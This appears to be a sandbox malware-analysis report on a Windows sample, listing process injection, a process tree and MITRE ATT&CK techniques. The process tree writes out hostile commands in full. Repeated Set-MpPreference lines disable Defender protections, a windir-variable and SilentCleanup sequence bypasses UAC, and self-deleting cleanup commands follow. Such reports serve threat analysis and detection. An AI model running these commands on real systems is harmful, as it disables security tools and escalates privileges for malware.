Token: SeCreateTokenPrivilege	1164	regedit.exe
Token: SeMachineAccountPrivilege	1164	regedit.exe
Token: SeSecurityPrivilege	1164	regedit.exe
Token: SeAssignPrimaryTokenPrivilege	1164	regedit.exe
Token: SeCreateGlobalPrivilege	1164	regedit.exe
Token: SeDebugPrivilege	4776	taskkill.exe
Token: SeDebugPrivilege	2684	Kh9HAGPN47.exe
Token: SeDebugPrivilege	4504	xmaOzJ8fRh.exe
Token: SeDebugPrivilege	3380	xmaOzJ8fRh.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

i5ko1gq3.exeFGbfttrev.exeFDvbcgfert.exexmaOzJ8fRh.exepv3egjrqD5.exe

pid process

1332 i5ko1gq3.exe
1868 FGbfttrev.exe
2044 FDvbcgfert.exe
3380 xmaOzJ8fRh.exe
3380 xmaOzJ8fRh.exe
2932 pv3egjrqD5.exe
2932 pv3egjrqD5.exe

pid	process
1332	i5ko1gq3.exe
1868	FGbfttrev.exe
2044	FDvbcgfert.exe
3380	xmaOzJ8fRh.exe
3380	xmaOzJ8fRh.exe
2932	pv3egjrqD5.exe
2932	pv3egjrqD5.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

ou55sg33s_1.exeou55sg33s_1.exeexplorer.exe1k1k37mkkua_1.exe1k1k37mkkua_1.exei5ko1gq3.exeFGbfttrev.exeFDvbcgfert.exeFDvbcgfert.execmd.exei5ko1gq3.exe

description	pid	process	target process
PID 4804 wrote to memory of 4240	4804	ou55sg33s_1.exe	ou55sg33s_1.exe
PID 4804 wrote to memory of 4240	4804	ou55sg33s_1.exe	ou55sg33s_1.exe
PID 4804 wrote to memory of 4240	4804	ou55sg33s_1.exe	ou55sg33s_1.exe
PID 4804 wrote to memory of 4240	4804	ou55sg33s_1.exe	ou55sg33s_1.exe
PID 4804 wrote to memory of 4240	4804	ou55sg33s_1.exe	ou55sg33s_1.exe
PID 4240 wrote to memory of 728	4240	ou55sg33s_1.exe	explorer.exe
PID 4240 wrote to memory of 728	4240	ou55sg33s_1.exe	explorer.exe
PID 4240 wrote to memory of 728	4240	ou55sg33s_1.exe	explorer.exe
PID 728 wrote to memory of 892	728	explorer.exe	1k1k37mkkua_1.exe
PID 728 wrote to memory of 892	728	explorer.exe	1k1k37mkkua_1.exe
PID 728 wrote to memory of 892	728	explorer.exe	1k1k37mkkua_1.exe
PID 892 wrote to memory of 8	892	1k1k37mkkua_1.exe	1k1k37mkkua_1.exe
PID 892 wrote to memory of 8	892	1k1k37mkkua_1.exe	1k1k37mkkua_1.exe
PID 892 wrote to memory of 8	892	1k1k37mkkua_1.exe	1k1k37mkkua_1.exe
PID 892 wrote to memory of 8	892	1k1k37mkkua_1.exe	1k1k37mkkua_1.exe
PID 892 wrote to memory of 8	892	1k1k37mkkua_1.exe	1k1k37mkkua_1.exe
PID 8 wrote to memory of 1164	8	1k1k37mkkua_1.exe	regedit.exe
PID 8 wrote to memory of 1164	8	1k1k37mkkua_1.exe	regedit.exe
PID 8 wrote to memory of 1164	8	1k1k37mkkua_1.exe	regedit.exe
PID 728 wrote to memory of 1332	728	explorer.exe	i5ko1gq3.exe
PID 728 wrote to memory of 1332	728	explorer.exe	i5ko1gq3.exe
PID 728 wrote to memory of 1332	728	explorer.exe	i5ko1gq3.exe
PID 728 wrote to memory of 1332	728	explorer.exe	i5ko1gq3.exe
PID 728 wrote to memory of 1332	728	explorer.exe	i5ko1gq3.exe
PID 1332 wrote to memory of 1868	1332	i5ko1gq3.exe	FGbfttrev.exe
PID 1332 wrote to memory of 1868	1332	i5ko1gq3.exe	FGbfttrev.exe
PID 1332 wrote to memory of 1868	1332	i5ko1gq3.exe	FGbfttrev.exe
PID 1332 wrote to memory of 2044	1332	i5ko1gq3.exe	FDvbcgfert.exe
PID 1332 wrote to memory of 2044	1332	i5ko1gq3.exe	FDvbcgfert.exe
PID 1332 wrote to memory of 2044	1332	i5ko1gq3.exe	FDvbcgfert.exe
PID 1332 wrote to memory of 2100	1332	i5ko1gq3.exe	i5ko1gq3.exe
PID 1332 wrote to memory of 2100	1332	i5ko1gq3.exe	i5ko1gq3.exe
PID 1332 wrote to memory of 2100	1332	i5ko1gq3.exe	i5ko1gq3.exe
PID 728 wrote to memory of 2068	728	explorer.exe	7ygs3iyoe553.exe
PID 728 wrote to memory of 2068	728	explorer.exe	7ygs3iyoe553.exe
PID 728 wrote to memory of 2068	728	explorer.exe	7ygs3iyoe553.exe
PID 728 wrote to memory of 2068	728	explorer.exe	7ygs3iyoe553.exe
PID 728 wrote to memory of 2068	728	explorer.exe	7ygs3iyoe553.exe
PID 1332 wrote to memory of 2100	1332	i5ko1gq3.exe	i5ko1gq3.exe
PID 1868 wrote to memory of 2952	1868	FGbfttrev.exe	FGbfttrev.exe
PID 1868 wrote to memory of 2952	1868	FGbfttrev.exe	FGbfttrev.exe
PID 1868 wrote to memory of 2952	1868	FGbfttrev.exe	FGbfttrev.exe
PID 1868 wrote to memory of 2952	1868	FGbfttrev.exe	FGbfttrev.exe
PID 2044 wrote to memory of 3092	2044	FDvbcgfert.exe	FDvbcgfert.exe
PID 2044 wrote to memory of 3092	2044	FDvbcgfert.exe	FDvbcgfert.exe
PID 2044 wrote to memory of 3092	2044	FDvbcgfert.exe	FDvbcgfert.exe
PID 2044 wrote to memory of 3092	2044	FDvbcgfert.exe	FDvbcgfert.exe
PID 3092 wrote to memory of 4648	3092	FDvbcgfert.exe	cmd.exe
PID 3092 wrote to memory of 4648	3092	FDvbcgfert.exe	cmd.exe
PID 3092 wrote to memory of 4648	3092	FDvbcgfert.exe	cmd.exe
PID 4648 wrote to memory of 4776	4648	cmd.exe	taskkill.exe
PID 4648 wrote to memory of 4776	4648	cmd.exe	taskkill.exe
PID 4648 wrote to memory of 4776	4648	cmd.exe	taskkill.exe
PID 2100 wrote to memory of 2684	2100	i5ko1gq3.exe	Kh9HAGPN47.exe
PID 2100 wrote to memory of 2684	2100	i5ko1gq3.exe	Kh9HAGPN47.exe
PID 2100 wrote to memory of 2684	2100	i5ko1gq3.exe	Kh9HAGPN47.exe
PID 2100 wrote to memory of 1108	2100	i5ko1gq3.exe	sBoMkm8Emq.exe
PID 2100 wrote to memory of 1108	2100	i5ko1gq3.exe	sBoMkm8Emq.exe
PID 2100 wrote to memory of 1108	2100	i5ko1gq3.exe	sBoMkm8Emq.exe
PID 2100 wrote to memory of 4504	2100	i5ko1gq3.exe	xmaOzJ8fRh.exe
PID 2100 wrote to memory of 4504	2100	i5ko1gq3.exe	xmaOzJ8fRh.exe
PID 2100 wrote to memory of 4504	2100	i5ko1gq3.exe	xmaOzJ8fRh.exe
PID 2100 wrote to memory of 2176	2100	i5ko1gq3.exe	ZB2TkBHFSJ.exe
PID 2100 wrote to memory of 2176	2100	i5ko1gq3.exe	ZB2TkBHFSJ.exe

C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe
"C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4804

C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe
"C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe"
2⤵
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious behavior: MapViewOfSection
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4240

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
3⤵
- Modifies firewall policy service
- Checks BIOS information in registry
- Adds Run key to start application
- Drops desktop.ini file(s)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Enumerates system info in registry
- Modifies Internet Explorer Protected Mode
- Modifies Internet Explorer Protected Mode Banner
- Modifies Internet Explorer settings
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:728

C:\Users\Admin\AppData\Local\Temp\1k1k37mkkua_1.exe
/suac
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:892

C:\Users\Admin\AppData\Local\Temp\1k1k37mkkua_1.exe
"C:\Users\Admin\AppData\Local\Temp\1k1k37mkkua_1.exe"
5⤵
- Modifies firewall policy service
- Executes dropped EXE
- Checks for any installed AV software in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:8

C:\Windows\SysWOW64\regedit.exe
"C:\Windows\SysWOW64\regedit.exe"
6⤵
- Modifies security service
- Adds Run key to start application
- Modifies Internet Explorer settings
- Runs regedit.exe
- Suspicious use of AdjustPrivilegeToken
PID:1164

C:\Users\Admin\AppData\Local\Temp\i5ko1gq3.exe
"C:\Users\Admin\AppData\Local\Temp\i5ko1gq3.exe"
4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1332

C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
"C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1868

C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
"C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2952

C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
"C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2044

C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
"C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:3092

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 3092 & erase C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe & RD /S /Q C:\\ProgramData\\048486387514550\\* & exit
7⤵
- Suspicious use of WriteProcessMemory
PID:4648

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 3092
8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4776

C:\Users\Admin\AppData\Local\Temp\i5ko1gq3.exe
"C:\Users\Admin\AppData\Local\Temp\i5ko1gq3.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2100

C:\Users\Admin\AppData\Local\Temp\Kh9HAGPN47.exe
"C:\Users\Admin\AppData\Local\Temp\Kh9HAGPN47.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2684

C:\Users\Admin\AppData\Local\Temp\Kh9HAGPN47.exe
"C:\Users\Admin\AppData\Local\Temp\Kh9HAGPN47.exe"
7⤵
- Executes dropped EXE
PID:4196

C:\Users\Admin\AppData\Local\Temp\sBoMkm8Emq.exe
"C:\Users\Admin\AppData\Local\Temp\sBoMkm8Emq.exe"
6⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies system certificate store
PID:1108

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\System32\svchost.exe"
7⤵
PID:5408

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\GEeXQtso.bat" "
8⤵
PID:4868

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
9⤵
- Modifies registry key
PID:5704

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\GEeXQtso.bat" "
8⤵
PID:232

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
7⤵
PID:3604

C:\Users\Admin\AppData\Local\Temp\xmaOzJ8fRh.exe
"C:\Users\Admin\AppData\Local\Temp\xmaOzJ8fRh.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4504

C:\Users\Admin\AppData\Local\Temp\xmaOzJ8fRh.exe
"C:\Users\Admin\AppData\Local\Temp\xmaOzJ8fRh.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3380

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\xz2gnxgb.inf
8⤵
PID:4308

C:\Users\Admin\AppData\Local\Temp\ZB2TkBHFSJ.exe
"C:\Users\Admin\AppData\Local\Temp\ZB2TkBHFSJ.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2176

C:\Users\Admin\AppData\Local\Temp\ZB2TkBHFSJ.exe
"C:\Users\Admin\AppData\Local\Temp\ZB2TkBHFSJ.exe"
7⤵
- Executes dropped EXE
PID:2796

C:\Users\Admin\AppData\Local\Temp\ZB2TkBHFSJ.exe
"C:\Users\Admin\AppData\Local\Temp\ZB2TkBHFSJ.exe"
7⤵
- Executes dropped EXE
- Windows security modification
PID:3284

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
8⤵
PID:5048

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\i5ko1gq3.exe"
6⤵
PID:4740

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
7⤵
- Delays execution with timeout.exe
PID:980

C:\Users\Admin\AppData\Local\Temp\7ygs3iyoe553.exe
"C:\Users\Admin\AppData\Local\Temp\7ygs3iyoe553.exe"
4⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:2068

C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
"C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5972

C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
"C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4884

C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
"{path}"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4964

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4964 & erase C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe & RD /S /Q C:\\ProgramData\\817077299111746\\* & exit
8⤵
PID:2036

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4964
9⤵
- Kills process with taskkill
PID:2564

C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
"{path}"
6⤵
- Executes dropped EXE
PID:2588

C:\Users\Admin\AppData\Local\Temp\7ygs3iyoe553.exe
"{path}"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:5996

C:\Users\Admin\AppData\Local\Temp\OF6dBdG65L.exe
"C:\Users\Admin\AppData\Local\Temp\OF6dBdG65L.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5548

C:\Users\Admin\AppData\Local\Temp\OF6dBdG65L.exe
"C:\Users\Admin\AppData\Local\Temp\OF6dBdG65L.exe"
7⤵
- Executes dropped EXE
PID:3812

C:\Users\Admin\AppData\Local\Temp\o1tY2K7v0u.exe
"C:\Users\Admin\AppData\Local\Temp\o1tY2K7v0u.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5864

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\System32\svchost.exe"
7⤵
PID:4420

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\cnIBvtso.bat" "
8⤵
PID:1740

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
9⤵
- Modifies registry key
PID:6024

C:\Windows\SysWOW64\reg.exe
reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
9⤵
- Modifies registry key
PID:5024

C:\Windows\SysWOW64\schtasks.exe
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
9⤵
PID:5608

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
9⤵
- Modifies registry key
PID:4716

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\cnIBvtso.bat" "
8⤵
PID:4712

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
7⤵
PID:2760

C:\Users\Admin\AppData\Local\Temp\pv3egjrqD5.exe
"C:\Users\Admin\AppData\Local\Temp\pv3egjrqD5.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4736

C:\Users\Admin\AppData\Local\Temp\pv3egjrqD5.exe
"C:\Users\Admin\AppData\Local\Temp\pv3egjrqD5.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2932

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\bswxp5sh.inf
8⤵
PID:4612

C:\Users\Admin\AppData\Local\Temp\kxsejL2arD.exe
"C:\Users\Admin\AppData\Local\Temp\kxsejL2arD.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6064

C:\Users\Admin\AppData\Local\Temp\kxsejL2arD.exe
"C:\Users\Admin\AppData\Local\Temp\kxsejL2arD.exe"
7⤵
- Executes dropped EXE
- Windows security modification
PID:5264

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
8⤵
PID:2524

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\7ygs3iyoe553.exe"
6⤵
PID:4784

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
7⤵
- Delays execution with timeout.exe
PID:5396

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
PID:5040

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\f01qqtnh.exe
2⤵
PID:1428

C:\Windows\temp\f01qqtnh.exe
C:\Windows\temp\f01qqtnh.exe
3⤵
- Executes dropped EXE
PID:2556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
PID:2572

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
4⤵
PID:200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
4⤵
PID:4780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
4⤵
PID:1376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
4⤵
PID:5028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
4⤵
PID:4532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
4⤵
PID:4232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
4⤵
PID:4368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
4⤵
PID:3664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
4⤵
PID:4892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
4⤵
PID:3904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
4⤵
PID:2824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
4⤵
PID:4992

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cmstp.exe /F
2⤵
- Kills process with taskkill
PID:2504

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\cgge1ncr.exe
2⤵
PID:5988

C:\Windows\temp\cgge1ncr.exe
C:\Windows\temp\cgge1ncr.exe
3⤵
- Executes dropped EXE
PID:1008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
PID:5456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
4⤵
PID:6140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
4⤵
PID:4284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
4⤵
PID:5672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
4⤵
PID:1044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
4⤵
PID:1836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
4⤵
PID:4664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
4⤵
PID:2828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
4⤵
PID:5920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
4⤵
PID:5724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
4⤵
PID:5392

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
4⤵
PID:4524

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
4⤵
PID:4676

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cmstp.exe /F
2⤵
- Kills process with taskkill
PID:3672

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Security Software Discovery

T1063

System Information Discovery